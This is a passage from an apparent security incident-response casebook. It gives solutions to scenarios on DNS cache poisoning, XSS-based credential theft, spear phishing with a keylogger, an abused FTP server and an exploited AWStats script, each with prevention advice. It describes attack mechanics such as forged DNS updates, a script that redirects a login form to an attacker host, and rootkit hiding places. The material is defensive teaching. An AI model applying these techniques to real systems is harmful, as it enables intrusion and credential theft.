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Shreya found the issue. Secure Responses had not been enabled on the DNS server, as shown by the 0x0 entry (0x1 would indicate that it had been enabled). Additionally, if the results showed no value named SecureResponses, it also meant that it was disabled since the value is not even present.

The ISP’s DNS server was running Windows 2000 with Service Pack 2 and was missing one key registry entry that was needed to ensure secure DNS updates. The required key would ensure secure responses for DNS queries. Without this key, untrusted attackers could pollute the cache on DNS servers that are configured to accept insecure updates. While Windows 2000 servers with Service Pack 3 and beyond support secure updates, Windows 2000 pre-Service Pack 3 does not support secure updates (by default, Windows 2003 DNS servers have this setting enabled).

These facts from the servers made the entire incident clear to Shreya. Polluting DNS caches allows for an attacker to compromise several machines without a single e-mail being sent. It allows the attacker to pharm domain names by redirecting attackers to malicious websites via polluted DNS servers. While pharming attacks display the same symptoms as phishing attacks, pharming attacks are much easier to complete and do not require that several hundred fake e-mails be sent out or require that unsuspecting customers click hostile links.

The facts for the cracking incident now came together for Shreya:

[image: image] Insecure updates were enabled by the ISP’s DNS server, allowing an attacker to pollute the cache of the local ISP’s customers and redirect its web users to a malicious website controlled by the attacker.

[image: image] All affected customers were located in the same geographical location. Since only a local ISP’s DNS server was polluted, only the customers accessing that DNS server were affected. In this case, the West Coast DNS server for the ISP must have been polluted, tricking users in that area of the country to be redirected to the fake site.

[image: image] While all the issues were similar to phishing, no spoofed e-mails were sent to any affected customers.

[image: image] The network traces from the ISP’s DNS server showed the issue clearly. The same user (IP address) is requesting a DNS record from the DNS server and then immediately answers their own request by sending DNS updates, which happen to be incorrect, to the DNS server. This is a classic DNS cache poisoning attack. The attacker sent a query for www.wmoor.com and then immediately sent an update to the query, pointing it to a malicious IP address (instead of the correct one). Since the ISP’s DNS server was accepting insecure updates, it cached the incorrect information sent by the attacker (the DNS update packets). When legitimate customers tried to reach the bank’s website, the wrong IP address was sent by the attacker and was cached by the vulnerable DNS server.

This flaw led to the attacker polluting the DNS cache of the ISP’s DNS server for anyone querying www.wmoor.com. To fix the vulnerability, Shreya asked the ISP to install the following settings on the DNS server if Service Pack 3 could not be installed. The following steps were used to enable secure updates only:

1.  Open Regedit. Choose Start | Run | Regedit.

2. Browse to HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Services\DNS\Parameters.

3.  Add a REG_DWORD value containing the following information:

Value Name: SecureResponses

Data Type: REG_DWORD

Value: 1

[image: image] ANSWERS

1. For question 1, none of WMOOR’s customers noted any web browser messages—although 40 percent did not know, more than half said No and none of them said Yes. This eliminated the possibility of an SSL Man in the Middle (MiTM) attack since users were not receiving unusual web browser messages about untrusted certificates from the remote server.

For question 2, all customers who were compromised were in the same region of the country, more than likely negating a phishing attack. While a phishing attack might target a subset of users in a particular region, phishers usually target anyone and everyone in any region of the world. If the results came back from addresses all over the globe, a phishing attack would be more likely. However, since the results were limited to one area, the likelihood of a pharming attack was higher. Pharming attacks target specific DNS servers, such as an ISP’s DNS server for a particular region of the country. If a specific DNS server is compromised or vulnerable, only the users who access the DNS server would be compromised. Since local ISPs provide Internet access to users, local DNS servers vulnerable to pharming attacks allow for victims to be concentrated in one area.

For question 3, the overwhelming answer was No, which was another high possibility that phishing or MiTM attacks were not the issue. A redirection from www.wmoor.com would imply a probable phishing attack; however, this seemed very unlikely since most users stated that they were not redirected to another website but remained at www.wmoor.com.

For question 4, most answers were No. This question was posed to understand whether any users clicked a malicious item, such as a malicious ActiveX control, leading to system compromise. While it was highly unlikely that all the compromised customers clicked a hostile ActiveX program, it was still worth a question to ensure that no usual activities occurred.

For question 5, the answers were overwhelmingly No, indicating that no phishing attacks probably took place.

2. Phishing was not involved at all, despite the fact it was first suspected by WMOOR management. While the symptoms of the attack are similar to those of phishing, the attack was far more devastating and easier than phishing—a deadly combination.

3. The DNS traces showed several important things. The first four packets show a DNS query for www.wmoor.com from a client to the local ISP’s DNS server (67.92.82.4), which then forwarded the query to WMOOR’s DNS server (84.91.11.17) for an authoritative response. Since the ISP’s DNS server did not know the IP address, it sent the request to WMOOR’s DNS server for resolution. WMOOR’s DNS server responded to the ISP’s DNS server with the correct IP address (84.91.11.72). The ISP’s DNS server then responded to the original client with the correct IP address.

The 26 packets following the first 4 packets show the crux of the attack. The client sent a query request for www.wmoor.com to the local ISP’s DNS server; however, the malicious client then sent an update to the ISP’s DNS server that tied an incorrect (fake) IP address (67.92.82.34) to www.wmoor.com. The attacker continued sending a query request and immediately sent a name server update packet to the ISP’s DNS server for the same DNS name, making the misconfigured DNS server think that www.wmoor.com was 67.82.92.34, because the ISP was not performing secure updates. Since the DNS server’s cache was being poisoned by the incorrect update packets from a non-trusted DNS server, this allowed the DNS server to be poisoned.

The last 12 packets show different clients from the ISP’s network making a query to www.wmoor.com and receiving the cached incorrect value (67.82.92.34) from the ISP’s DNS server.

4. The e-mail communication did not show much as far as the main attack was concerned. In lines 16, 17, 18, 43, 44, and 45, it did show the attacker’s connection to the server for the spoofed e-mail that was sent to WMOOR. It also showed that WMOOR Bank and Trust was using secure e-mail protocols, such as secure Post Office Protocol 3 (POP3) (port 995) and Simple Mail Transfer Protocol (SMTP) over Secure Sockets Layer (SSL) (port 465) for e-mail communication; however, WMOOR did not disable the insecure ports (port 25 for SMTP). This is a common misconfiguration issue—organizations use the secure method for communication (such as SSH) but forget to turn off the insecure method (such as telnet). In this case, since SMTP over SSL was being used, network architects probably didn’t go back and secure the SMTP service because they may not have known it was even enabled, leaving it open to e-mail relays.

5. The source IP of the attacker was 67.82.92.33 and the fake www.wmoor.com website was redirected to 67.82.92.34. Both the malicious DNS update packets, shown in the DNS servers’ network traces, and the spoofed e-mail, shown in the e-mail header, came from 67.82.92.33. Also, by looking at the e-mail header, you can see that the IP address was a DHCP address from a DSL company in California (dhcp-67.82.92.33.cali.dsl.net), which most likely meant that the attacker compromised a machine on the specific subnet and used that to attack the local DNS server.

6. The DNS servers for the ISP were Windows 2000 servers with Service Pack 2. By default, Windows 2000 servers pre-Service Pack 3 are vulnerable to DNS caching attacks. All Windows 2003 servers are secure by default from caching attacks.

[image: image]   PREVENTION

To prevent such an attack from occurring, ensure that the Secure Responses option is enabled on every Windows 2000/2003 DNS server. This setting is the default on every Windows 2000 with Service Pack 3 server and any Windows 2003 server. Additionally, if using Berkeley Internet Name Domain (BIND), ensure that BIND 9.2.5 is being used or consider implementing DNS Security Extensions (DNSSEC).

[image: image]   MITIGATION

To mitigate the possibility of insecure updates, ensure that DNS servers accept updates only from trusted addresses. Additionally, restrict dynamic DNS updates and disable recursion when possible.

ADDITIONAL RESOURCES

Microsoft Support article, “How to Prevent DNS Cache Pollution”:

   http://support.microsoft.com/kb/241352/EN-US/


SOLUTION 3

Big Bait, Big Phish

by Bill Pennington, WhiteHat Security
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A table full of food crowded Lex’s laptop: two bowls of cereal, scrambled eggs, bacon, an omelet, chocolate milk, orange juice, a peanut butter bagel, brownies, and a banana. The hotel’s all-you-can-eat breakfast was overpriced, so Lex decided to take advantage of it and eat his absolute fill.

Lex focused on his PowerBook as he shoveled food and read e-mails. Somehow an attacker had placed a number of orders on the ClimberCentral website while logged in as various users. Luckily, the attacker sent the orders to the same P.O. box in Alaska and used the same IP address for all his transactions. Lex had to determine whether the various user accounts had been compromised individually or whether the attacker had compromised the ClimberCentral network itself.

ClimberCentral passed a network scan last week and recently had some intrusion analysis work done by a security vendor. If network security was fine a week ago, Lex knew that something must have changed since then that opened a hole the attacker leveraged. Lex was sorting out who made relevant changes and verifying with developers that everything was logged and in Bugzilla, the Mozilla bug database. Lex hadn’t quite had time yet to go over the analysis Rob had performed because he had more likely scenarios to investigate.

Finally, Lex turned his attention to Rob’s e-mail. The mass of JavaScript and HTML was confusing. Rob should be in the office by now, so Lex decided to give him a call.

“So, what’s the significance of this JavaScript?” Lex started.

Rob took a deep breath. “Basically, the login application expects a URL in the link parameter, which the server side script uses to dynamically create an href tag. In this case, the attacker got the login page to run JavaScript code by putting JavaScript in the link parameter instead of a URL.”

“Don’t we check to make sure the URL is actually a URL? And why the heck would our code allow them to run JavaScript?”

“Well, it doesn’t really matter….” Rob continued. “You see, the attacker sent some JavaScript that rewrites the login form to point to his site instead of ours. It only works for the one request he places and doesn’t affect anyone else.”

Not validating the data and allowing the attacker to affect the code returned, even if only for the request he placed, didn’t sound like it was a good practice to Lex. Still, Rob had a point if this affected only the person making the request. “Are you sure there’s no way the attacker could force other users to place the request?”

Rob laughed, “That’s silly! What’s the attacker going to do? Ask the user to type it into their URL bar?”

“Users have been tricked before. Think of all those phishing e-mails people get fooled by.”

“Actually, wait….” Rob’s end of the conversation was silent for a bit. “OK, remember those marketing e-mails sent out earlier this week?”

“Yeah, what about them?”

“Here—I’m sending you a copy. View the source of the Log In link, down near the bottom.”
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Lex decoded the values in his head to recognize JavaScript in the href tag. “One of the developers just got back to me about how the e-mails could have been generated by manipulating the contactus.pl application. By changing a hidden form field containing the support@climbercentral.com address, you can force the app into sending e-mail to anyone you choose. The marketing e-mails probably happened like this, because they contain a link exploiting that JavaScript URL problem in the login page.”

Lex realized they might be dealing with a case of sophisticated phishing instead of a direct attack on the ClimberCentral network. The attacker had found a hole in the login page of the website, written some special JavaScript to take advantage of it, and then generated tons of e-mails to customers prompting them to log into the website with a specially crafted link exploiting the login page. When the customers would use it to log in, their credentials would be sent to the attacker’s page, where he could pick them up and use them to place orders as the user.

After deliberating the details with Rob and verifying as much as they could in the log trail, Lex was confident with his assessment and ready to tie up the problem. “OK, so is the contactus application fixed?”

“Yeah,” responded Rob. “The developer said she hard coded the support e-mail address instead of having it in a hidden form field.”

“That should do. For the JavaScript issue, let’s validate all input and make sure it doesn’t have inappropriate values or contain any code.”

“In every app? That’s basically rewriting the website!”

“Well, we might be able to do something at the server level,” Lex offered. “Something that inspects all requests and strips out any non-alphanumeric characters. But still, why even accept bad values if we know we don’t need them? We should just strip them out.”

“This is security stuff though. I mean, I see what you mean, and we should be following those coding practices—but the guys we have here are developers, not security experts.”

“That’s what we’ll need then,” concluded Lex. “What’s say you and I go to the next security conference they have. Maybe some place like Vegas?”

“I’m not allowed in Vegas…” Lex puzzled for a second and was going to ask Rob to elaborate, when Rob added, “…and I’m not supposed to talk about it. But anywhere else is fine.”

[image: images] ANSWERS

1. The attacker’s JavaScript file takes advantage of the Cross Site Scripting vulnerability of the login.pl page to rewrite the login form so that it points to the attacker’s website instead of ClimberCentral.
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The login.pl application sources in the link parameter from the query URL without validating the value. By placing a specially crafted request [image: image] the login.pl page is rewritten to include a reference to the attacker’s external JavaScript file.
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The JavaScript is sourced in within the context of the login.pl application and has permission to rewrite any part of the DOM (Document Object Model) that it likes. It locates the login form by ID document. getElementByld(‘loginform’) and changes the action parameter to https://209.387.2328/redirect.pl, a page located on the attacker’s website. When a user follows the malicious link to enter his or her username and password and clicks Submit, the credentials are sent to the attacker’s website instead of ClimberCentral.

2. The list of pending e-mails that brought the company’s gobi server to a halt were not generated by Marketing as Rob thought, but were the result of the attacker exploiting a vulnerability in the website that allowed him to send e-mails from the ClimberCentral domain.

Vulnerabilities of this type are actually common and are classified as “Abuse of Functionality” by the Web Application Security Consortium (WASC 24). An example application with this vulnerability is contactus.pl:
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The hidden form field to contains the customer service address for ClimberCentral. When the form is submitted to contactus.pl, the form is parsed and an e-mail sent by the web application to support@climbercentral.com with the specified subject and message. By changing the hidden form field to value, the attacker can exploit this application to send an e-mail from the ClimberCentral domain to any address he chooses. This makes phishing attempts by the attacker much more believable, as the e-mails will actually originate from the ClimberCentral domain.

3. The Cross Site Scripting exploit depends on the poor data validation of the login.pl application. All that was needed was to persuade the user into somehow placing the malicious request and then logging in.

Cross Site Scripting vulnerabilities are executed against users in as many ways as an attacker can get someone to click a link. These include e-mail, message boards, AIM (America Online Instant Messenger), or even web pages that contain image tags with the URL attribute set to the exploited URL.

By including the Cross Site Scripting link in an e-mail from the ClimberCentral domain, the attacker was able to gain some credibility with his phishing attempt. The e-mail originated from the ClimberCentral domain, and the attack (located in the embedded malicious log in URL) was located on the actual ClimberCentral site. This was an extravagant addition, but it was certainly not necessary when stealing the user’s credentials.

4. The attack is ultimately targeted against an unsuspecting end user. The attack leverages the trust of the ClimberCentral.com domain against the user to gain access to the user’s data.

5. The pattern in the attacker’s exploit was his IP address and P.O. box to which orders were shipped. If he had used a range of IPs and not shipped to the same address, the connection between these false orders would have been less obvious.

[image: images]   PREVENTION

Web application security vulnerabilities are difficult to prevent because they leverage the actual functionality of the web application and are specific to the custom code written by the project developers. All production web application code has vulnerabilities. In addition to good coding practices and policies, such as sanity checking and data validation, continuous testing of the web application each time the code changes is a necessary protection.

Recent industry standards such as PCI compliance testing are recognizing the necessity of web application assessments each time the code changes; these are going to change the landscape of e-commerce applications like ClimberCentral.com dramatically.

[image: images]   MITIGATION

Since web application vulnerabilities leverage functionality, there is no way to mitigate their force other than by diminishing the power and reach of the web application itself. This is a moot option in an age when we want to do everything over the web. Cross Site Scripting allows an attacker to control the user and force the user into doing anything he or she normally could do. The alternative to disallowing the user to have access to the functionality in the first place lies in a combination of good coding practices and early detection.

ADDITIONAL RESOURCES

Web Application Security Consortium:

   http://www.webappsec.org

Open Web Application Security Project:

   http://www.owasp.org

Cross Site Scripting FAQ:

   http://www.cgisecurity.com/articles/xss-faq.shtml


SOLUTION 4

Shooting Phish in a Barrel

by Tony Bradley, S3KUR3, Inc.
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Kim explained her theory to Doug and Howard. “Apparently, somebody sent that e-mail with the intent of tricking users into visiting their website and possibly surrendering usernames, passwords, or other personal information, as well as potentially installing some sort of malware. It is called a phishing attack.”

“I have heard of phishing scams,” said Howard.

“I am familiar with phishing scams as well,” Doug chimed in. “I frequently get e-mail messages that appear to be from financial institutions I don’t even belong to, trying to persuade me to ‘update my personal information’ or some other thing.

“But this one’s not like the attacks I’m familiar with,” he continued. “I thought phishing attacks were spammed to millions of users with the intent of finding the gullible few who actually belonged to that financial institution. This appears to be targeted specifically at SpinRight.”

Kim described the different types of phishing scams attackers were coming up with. She explained that attackers have gotten smarter and continue to refine their attacks. “Some attackers aim their scams at smaller local or regional banks and spam a much smaller group of people, hoping to find gullible users without drawing so much attention by sending out millions of e-mail messages. These smaller phishing attacks are called puddle phishing.”

“Tricky play on words,” Howard commented. “I think maybe you techie people that name these things have too much time on your hands.”

“It gets better,” Kim continued. “This attack was even smaller and more targeted, it seems. When an attacker aims a phishing scam at a specific company, e-mailing the spam phishing message only to employees of the target company, it is called spear phishing. Someone targeted SpinRight specifically, creating a fake intranet site using the colors and design elements from our main company website to trick users.”

“And I was the user dumb enough to fall for it,” lamented Howard. “But how did that fake press release end up getting e-mailed to the newspaper?”

“I have a hunch,” said Kim, “but we’ll have to wait and see what Trend Micro says about that download and take a look at the e-mail from the editor to verify it.”

It had been a long morning. Kim grabbed her coat and stepped out for some coffee. After stopping at the corner coffee shop for an espresso to give her mind a jolt, she returned to the office and sat down at her desk.

She logged onto her computer, started her e-mail application, and noticed an e-mail in her inbox from Trend Micro. She clicked the message and opened it to see that Trend Micro had confirmed that the file she downloaded was, in fact, a new variant of BKDR_DUMADOR, a backdoor utility with a keystroke logger. By clicking the Submit button on the fake phishing intranet site, Howard had actually initiated the installation of the backdoor/keystroke logger onto his computer.

Kim logged into the PIX firewall administration console to look for any indication of the file being downloaded or any suspicious activity. She saw an entry originating from Howard’s IP address and communicating with a domain out of China, phishingo.cn.
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Kim was just starting to get up to deliver the news to Doug, when he walked into her office and placed some papers on her desk—the e-mail that had been sent to the newspaper and the header information, showing that the e-mail had originated from SpinRight, but not from Howard’s computer’s IP address.

“I was just coming to see you,” she said. “Trend Micro confirmed that the file Howard downloaded was actually a malicious backdoor and keystroke-logging utility. The backdoor opens up a random port on the infected computer to allow the attacker access, but our firewall should still have blocked any access on weird ports. However, the keystroke-logging portion of this malware e-mails out the details it has collected, which include usernames and passwords. Let me look at something else….”

Kim tapped away quickly on her keyboard and clicked here and there with her mouse. In a minute, she had logged into the virtual private network (VPN) management console and pulled up the VPN logs. “Ah ha! According to these logs, Howard, or someone using Howard’s username and password, accessed our network through the VPN at 3:36 a.m. on Saturday morning.”

Kim did some more clicking and typing and arrived at the Sendmail server logs. “These logs show that we were hit with a bunch of these e-mails on Friday, apparently from an IP address in China.”
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Howard protested, “But the e-mail I opened wasn’t from China. It was from support@spinright.com.”

“That address was spoofed,” Kim explained. “It is fairly trivial even for a novice to change which address is displayed within an e-mail. Most e-mail clients allow you to type the e-mail address to display, and there is nothing requiring that the displayed e-mail address match the real e-mail address.”

Kim moved on. “I also see that an e-mail was sent out to the newspaper at 5:54 a.m. on Saturday, but it wasn’t from Howard’s computer. It was relayed directly from the Sendmail server.”

“What now?” asked Doug.

“Well, I am going to completely erase and rebuild Howard’s computer. I already know it has been compromised, and, even though Trend Micro does provide some detailed instructions for removing the components of the malware, it is difficult for me to be 100 percent sure that I got everything and that the attacker isn’t still lurking in the shadows.

“As for other computers, I plan to make sure the Trend Micro pattern files get updated and run end-to-end scans. Aside from that, I’ll just keep an eye on things and make sure nothing else suspicious is going on. I’ll also prepare some sort of announcement or user education to try and make sure users are aware of these types of attacks and know some of the signs to watch for. And I’ll leave you the situation with the newspaper and kissing the client’s butt so he doesn’t sue us all.”

[image: image] ANSWERS

1. The attackers used the same look and feel as the company’s primary website to trick Howard into believing that the intranet site was legitimate.

Phishing attacks often mimic entire websites, and the majority of the links on the site even work and link to legitimate information from the real site.

2. The Submit button, rather than actually submitting the data Howard had entered, downloaded a keystroke-logging utility onto Howard’s computer. With the utility in place, the attacker was able to capture and read every key typed on Howard’s computer, thereby gaining access to his username, password, and other critical information used to compromise the network and send out the bogus press release.

Keystroke loggers are becoming a more prevalent threat, their use having more than doubled in the year 2005 by some estimates. Antivirus software, in and of itself, does not generally detect or block keystroke-logging utilities. Some anti-spyware applications will block known keystroke-logging utilities.

3. The URL listed in a link is not necessarily the website to which the link actually points. Howard can see the true URL behind a link in an e-mail message by hovering over the link with his mouse pointer. Using only plaintext for e-mail makes it much more difficult to trick users, because the true URL is typically displayed next to the link. Howard can also right-click an HTML-based e-mail and select View Source to see where the link really points to.

Howard would be wise not to click links within an e-mail, particularly a link that seems suspicious in any way. In the future, if he suspects that an e-mail might not be legitimate, he should open a web browser window and manually type in the address so that he can be sure that the site he types in is actually the destination.

He can also avoid being victimized by a fake website used for a phishing attack by using a newer or more secure web browser. Internet Explorer 7 contains the Microsoft Phishing Filter, which uses a combination of a website URL blacklist and advanced heuristic phishing detection to identify suspicious websites.

4. SpinRight does not have an intranet site, but if it did it would be important to differentiate it in look, feel, and layout from the main, public-facing company website. While the consistent look may be aesthetically pleasing, individuals on the public Internet should not be able to view an internal site; if they don’t know what it looks like, they can’t mimic it.

If SpinRight eventually creates an intranet site that requires employees to log in or authenticate before gaining access, the site should require that employees use a username and password that differs from their network domain credentials. That way, if the intranet username and password are compromised, all an attacker can do is read the intranet site.

SpinRight can also provide more user awareness training to ensure that its employees know about the company policies and procedures related to computer and network usage, and to help them understand the signs to look for to identify suspicious or malicious activity and bring it to the attention of the network or security administrator.

[image: image]   PREVENTION

Targeted phishing attacks can be prevented through a couple different methods. First, phishing attacks rely on duping the victim into believing that the e-mail or site is from a legitimate source. By ensuring that the internal site has a different look and feel from the public-facing company website, a phishing attack like this can be prevented.

The attacker was able to capture Howard’s username and password when he logged into the client database to upload a copy of his press release. For increased security, users should be required to use unique user IDs and passwords for internal and external resources and for different applications. Doing so ensures that the compromise of one application or system does not lead to the compromise of all applications and systems.

Another way to protect user credentials from keystroke-logging programs is not to have them entered via keystroke. By using a software-based keypad on the screen, users would be clicking the screen to enter their usernames and passwords and no information could be captured by a keystroke logger or through sniffing network packets. The locations of the keys on the screen could even be randomized to thwart any monitoring of mouse position on the screen.

[image: image]   MITIGATION

Using a newer web browser application with improved phishing or spoofing protection can help mitigate against an attack like this. The Firefox web browser offers phishing protection, and Internet Explorer 7 from Microsoft offers similar protection.

Systems should also run antivirus and anti-spyware software and ensure that it is kept up to date. Such security applications can be used to detect most malware threats including viruses, worms, spyware, and keystroke loggers. Frequent updates are important as well, because new threats emerge on a daily basis.


ADDITIONAL RESOURCES

Anti-Phishing Working Group:

   http://anti-phishing.org/

ZDNet study: “Keystroke Spying on the Rise”:

   http://news.zdnet.com/2100-1009_22-5954242.html

Microsoft article, “What Is Spear Phishing?”:

   http://www.microsoft.com/athome/security/email/spear_phishing.mspx


SOLUTION 5

Too Few Secrets

by Steve Stawski and Jim Vaughn
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The Trading Company’s business plan for 2005 called for the deployment of a new e-commerce application, which promised to be a high revenue-generating addition to the company’s product line. To meet an aggressive implementation schedule, the director and operational staff agreed that outsourcing the infrastructure and rollout of the new e-commerce application would be the most effective solution. Although outsourcing to a hosting provider is a viable option, the security policies and procedures of the corporate network also needed to be enforced and implemented within the hosted environment. Failing to do so could introduce unacceptable risks to the corporate network and its assets (that is, intellectual property, client information, finances, and so on).

This situation was a triple threat to the organization. The first identifiable threat was that the corporation had invested in a resource to develop and oversee the security program. While Austin was hired to perform this critical function, he was distracted from his duties by other departments dealing with normal day-to-day functions. This is a common occurrence in most complex IT organizations.

The second problem was the fact that part of the network was outsourced to a hosting company. The Trading Company’s IT department was trying to manage an environment remotely without the proper staff and infrastructure to do this securely. In addition, proper design and review of the outsourced network should have been done prior to moving forward.

[image: image] ANSWERS

1. Austin’s initial review of the FTP logs revealed unusual activity beginning on February 25, 2005. The creation of various suspicious directories and the transfer of an executable file called collect.exe revealed that unauthorized individuals were abusing the anonymous account on the FTP server. Additionally, Austin confirmed during his interviews that the FTP server’s main function was to transfer a batch file called dailybktransfer.chv every night. Austin validated that the transfers of the batch file had been working properly weeks prior to this incident. Austin concluded that these unauthorized files and directories were filling up the FTP server’s disk space in Volume E and impacting the processing of the nightly batch jobs.

Austin then reviewed the sniffer trace provided by the remote IT administrator. Immediately, he was concerned that the FTP server was scanning hosts on the local network on Port 139 constantly. This excessive port scanning was impacting the performance of the network in the DMZ at the hosting provider. This explained the original symptoms reported by the help desk.

Austin then reviewed the hosting provider’s firewall configuration. He noticed that the FTP server was open to TCP 3389, which was set up for corporate administrators to administer the FTP server remotely using Windows Terminal services. It was possible that TCP 3389 might have been compromised to gain access to the server. Austin grew increasingly alarmed, as he saw that the firewall allowed the FTP server and other DMZ servers to initiate outbound Internet connections on any port.

At this point, Austin suspected that the FTP server had possibly been compromised. He knew that he had to take some immediate actions to contain the situation. Therefore, he recommended that access to all DMZ servers be shut down immediately to mitigate any further compromise of the network. However, Austin also realized that to determine the extent of the compromise, he would need to examine the server forensically.

2. During the Monday meeting interview, Austin was assured that the FTP server had no client-sensitive information and therefore posed little risk to the corporation. As shown in Figure C5-5, the discovery of a link file in the administrator’s profile to a file called clientmaster.mdb was significant. Additionally, two other notable properties of the clientmaster.mdb link file were of interest to Austin. The first was that the file had been created in early January 2005 and had been last accessed on March 10, 2005. The second was that the source of the link file resided in the root of Volume E, where the production FTP jobs were stored.

3. Austin proceeded to try to locate the clientmaster.mdb file. He found that the file had been deleted from the root of Volume E. However, the clientmaster.mdb file was still present in the Volume E recycler bin. Further review of the contents of the clientmaster.mdb file revealed sensitive client information, such as driver’s license numbers, home addresses, and checking account data.

Austin knew that he had identified a number of suspicious malware files on the FTP server that would require numerous hours of investigation to ascertain their purpose and origin.

The most disconcerting fact for Austin was that the server’s FTP anonymous account had been configured with read/write access to the root of Volume E. This is the same Volume E in which the clientmaster.mdb file had been stored.

Initially, Austin had relied on traditional incident handling procedures, such as log, IP traffic, and configuration analysis. But it was his recently acquired forensics knowledge that allowed him to ascertain the true level of compromise in this incident.

4. Mike should have worked with upper management to assure that the resources allocated to his security department were engaged to complete his directive to establish a formal security program. It was Mike’s responsibility to manage the perception that security was not solely a reactive process, but it required a proactive approach to mitigating risks and ensuring the overall security posture of the business. By securing the support of upper management for his security program, Mike would have been empowered to enforce his priorities and that of his staff.

Mike realized that he would probably be held accountable in the event of a breach of security. In a post-mortem review of this event, The Trading Company’s upper management found that the corporate security department was not being properly managed by Mike and resulted in an unacceptable risk to corporate assets. Therefore, The Trading Company decided to have a third-party security firm review the corporate security department. The security firm would then present recommendations to management to finally create and implement the corporate security program.

[image: image]   PREVENTION

As part of its security program, The Trading Company should implement a yearly risk assessment and penetration test of its outsourced facility to identify vulnerabilities.

[image: image]   MITIGATION

It is imperative that the vulnerabilities identified in the annual risk assessment and their mitigation plans were actually implemented and the appropriate resources were allocated. The bigger concern here was not from an IT security standpoint, but the legal duties this situation placed upon the company. Being a financial institution, The Trading Company automatically fell under the Gramm-Leach-Bliley Act (GLBA) regulations, which provide protection against the sale and disclosure of financial information under false pretenses. Additionally, being a publicly traded company, it was also subject to the Sarbanes-Oxley (SOX) regulations, so the company was mandated by law to report the compromise of data to its customers. The repercussions from this could be monumental to the company. Furthermore, each state has varying reporting obligations, and most of them require that a reasonable person would believe that the data was compromised, not that there needs to be proof that the data left the network.

ADDITIONAL RESOURCES

Scientific Working Group on Digital Evidence:

   http://ncfs.org/swgde/index.html

Department of Justice, Computer Crime and Intellectual Property Section (CCIPS):

   http://www.usdoj.gov/criminal/cybercrime/compcrime.html

CERT Coordination Center:

   http://www.cert.org/nav/index_green.html

Guidance Software’s EnCase:

   http://www.encase.com


SOLUTION 6

Upgraded or “Owned”?

by Anton Chuvakin, netForensics, Inc.
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Bad things happen to good companies. Company servers can get hacked even though security is well thought out, nimble, and efficient. Ownit was a typical company, with security at a mediocre level, rather than at a deeply troubling (no internal patching, for example) or disastrous level (unpatched Windows servers in the Internet-exposed DMZ).

The Ownit story holds important lessons about patching and keeping up with the vulnerability information deluge.
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1. Time sync was not implemented in the Ownit environment. The servers kept their own time, which was not synchronized among servers (such as via Network Time Protocol, or NTP) nor verified with the Internet time server (such as time.nist.gov). Having reliable time helps immensely with incident investigation as well as with routine server and security monitoring.

2. The a.tgz file contained a bundle of local exploits, a backdoor, and miscellaneous system binary Trojans. Since the attack gave the attacker only user-level access (with the privileges of the apache user), he needed to do more work to get root. This was accomplished by downloading the archive, unpacking it, and starting the backdoor so he could connect to the system without going through the vulnerable application. Then the attacker could connect to the backdoor (still as user apache), try various local exploits, get root access, and then thoroughly Trojan the system by using the enclosed exploits.

3. See the Prevention section for more information. The key element is patching third-party applications as frequently as the OS and bundled applications are patched. Another commonly overlooked step that needs to be implemented is to allow only outbound connections to a limited number of systems, such as Microsoft Update Services, and block access to the rest.

4. Indeed, Jim’s guesses about /usr/src and others he tried were correct. Attackers often hide their stuff in this location on compromised systems. Jim was also correct in checking /tmp first, since a sloppy attacker might have forgotten to delete the initial package a.tgz.

However, one of the most common locations to hide stuff is in /dev/—truly a place where people rarely look. These hiding places are commonly seen by the author on the compromised systems:
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5. Jim connected the server with a default configuration to the Internet before patching it! One might erroneously think that the risk is low, but in this age of automated attacks, rapid automated scans are a fact of life.

A Windows server under such circumstances would certainly be compromised by one of the worms. In fact, researchers estimate that the average time before an unpatched Windows 2002 server directly connected to an Internet and not shielded by a firewall is compromised is far less than the time it takes to patch such a system by using the Microsoft Update site. The risk is lower for Linux, but it is not unlikely that a default installation of Red Hat would be affected as well.

6. Even though Jim knew better than to e-mail the root password (after all, he was an experienced system administrator), he didn’t think that even if the hacker was still on their network and was able to read this e-mail, he could figure out the new root password by knowing the old one.

A low risk? Well, it depends on how strong the old password was. It could have been cracked by the attacker by using some of the many password-cracking tools, such as John the Ripper (http://www.openwall.com/ john/) or fancier “rainbow tables”-based tools such as RainbowCrack (http://www.antsight.com/zsl/rainbowcrack/) that use large pools of precomputed hashes.

[image: image]   PREVENTION

The main prevention lesson from this story is clear: Patch those apps fast! In the Windows world, Microsoft Update now patches not only the Windows OS but also Microsoft Office applications. Red Hat Linux, featured in this story, has a tool called Up2Date that patches all the bundled applications automatically.

However, the issue of patching other third-party and custom applications falls on the system admin team. Commercial solutions can be used to patch various third-party applications on multiple platforms, but they still require a degree of diligence in keeping track of all the vulnerability information.

To keep up to date with vulnerability and patch information, subscribe to a vulnerability-related mailing list, RSS feed, or a commercial vulnerability notification service. You must stay informed about vulnerabilities in most commonly used applications. Some websites that offer help are listed here:

[image: image]  SANS (free vulnerability newsletter): http://www.sans.org

[image: image]   Bugtraq mailing list (vulnerability information):

http://www.securityfocus.com/archive

[image: image]   Secunia (free and commercial vulnerability notification):

http://secunia.com/advisories/

[image: image]   ThreatFocus by PIVX (customizable vulnerability notification):

http://www.pivx.com/Enterprise/ThreatFocus.asp

[image: image]   iDefense by VeriSign (high-end commercial vulnerability notification service): http://www.idefense.com/

Before the patch is released, these information sources will often provide workarounds—various configuration tweaks that may render the flaw unexploitable or limit the damage that can be caused by exploiting it. For example, the iDefense advisory on the vulnerability that was exploited in this case (http://www.idefense.com/applkation/poi/display?id=185&type=vulnemMUties&flashstatus=false) provides this workaround, requiring a minor code change of the awstats.pl Perl script:
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This workaround adds a filtering capability to the parameter input, disallowing the attacker’s ability to execute the arbitrary commands that were used to penetrate the system.

[image: image]   MITIGATION

After the intrusion is confirmed, the most likely next action is to rebuild the server. While inexperienced system admins will often try to clean up the system, the task is pretty thankless, even for systems that have a known good baseline (recorded by an integrity-checking software such as Tripwire). An infinite number of places might be changed by the attacker, and an equivalent number of methods can be used to compromise the integrity of a system. A clean rebuild and application of all current patches and restoring data and user applications from backup are necessary. The best resource to plan the incident mitigation activity is SANS Institute’s six phases for incident response (http://www.sans.org/y2k/DDoS.htm).

Here is an example mitigation plan, loosely based on SANS guidelines. It assumes that the incident is confirmed and the system is removed from production.

1. Back up the compromised system.

2. Erase everything.

3. Reinstall from the original vendor media.

4. Update the system.

5. Install or restore third-party and custom applications.

6. Patch them by whatever supported means.

7. Scan the system for vulnerabilities.

8. Install appropriate security software, if prescribed by the standard.

9. Possibly increase the monitoring and logging capabilities.

10. Restore user data.

11. Return the system into production.

